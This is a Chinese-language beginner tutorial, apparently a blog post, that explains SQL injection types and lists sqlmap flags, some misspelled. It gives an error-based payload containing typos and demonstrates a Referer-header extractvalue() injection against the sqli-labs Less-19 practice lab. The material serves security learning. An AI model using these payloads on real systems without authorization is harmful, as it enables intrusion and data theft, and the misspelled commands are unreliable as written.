攻击类型与攻击策略
1、SQL注入类型
按输出机制分类:
1.1 盲注:输出数据库的内容在网页中没有显示,只有逻辑判断
1.2 报错注:充分利用程序、数据库报错的帮助傻傻地告诉所有信息
1.3 显注:注入查询语句的内容在网页中显示
1.4 其他:Email,ftp,samba等协议
2、盲注
2.1 在网页中没有找到或者暂时没有找到输出的地方
2.2 确认输入变量可以执行逻辑判断,只得到对或者错两种结果
2.3 盲注困难,有时候需要借助工具进行盲注攻击,但花费时间也较长,需要足够的耐心
工具:
(1)sqlmap
sqlmap属于比较经典的一个注入工具,功能强大,还自带一些绕过参数。
使用方法:
sqlmap.py -u “url” 对url连接进行注入检测
要在python2.7版本下才能使用。
然后使用注入参数进行注入
-u //添加url进行检测
-dbs //进行数据库检测
-tables //猜解数据库表
-colums //猜解字段
–level 1~5 //设置注入等级最高5级
–risk 1~3 //设置危险等级
–data “参数内容” //post注入
-r 1.txt //对1.txt内容进行注入
–delay //延时
sqlmap自带绕过脚本temper,使用方法:–temper 脚本名称
3、报错注
充分利用数据库报错和程序报错所提供的信息,让数据库引擎和程序
傻傻地、乖乖地把所需要的信息都暴露出来
select count(*),concat((select (select (selecr schema_name from information_schema.schemaata limit 0,1)) as a_col from information_schema.tables limit 0,1),floor(rand(0)*2)) x_col from information_schema.tables group by x_col
演示例子:(sqli-labs靶场中的Less-19)
首先打开网页看到网页标题是写Referer相关注入的。
那么接着就使用burp suite进行抓包修改Referer的值,(ps:用户名口令可以随便输入,我输入的都是admin)
将Referer的值修改为:
'and extractvalue(1,concat(0x7e,(select version()),0x7e)) and '1'='1
查看结果,可以看到网页第一行输出我们的IP地址为127.0.0.1,第二行是我们刚刚修改的Referer值,第三行输出数据库的版本号为5.5.38。
注入语句解读:
前面的单引号是为了闭合单引号,extractvalue():从目标XML中返回包含所查询值的字符串。
EXTRACTVALUE (XML_document, XPath_string);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串)
concat:返回结果为连接参数产生的字符串。
version():是版本号
0x7e表示“~”符号
4、显注
在网页中寻找到可以把注入信息显示的位置,或者把注入者的信息替换为程序正常的信息(第三者上位)
显注直接得到明文信息,不需要猜测,获得敏感信息容易和快速。
最后:
想要掌握SQL注入的方法,多多去练习,如果需要sqli-labs靶场可以在下面评论,我看到有人需要我就会发出来并且找时间写一下sqli-labs的通关技巧。提供更多的学习资源给想进入安全行业的小白,因为我也曾经是一名小白,想要入门却找不到门路。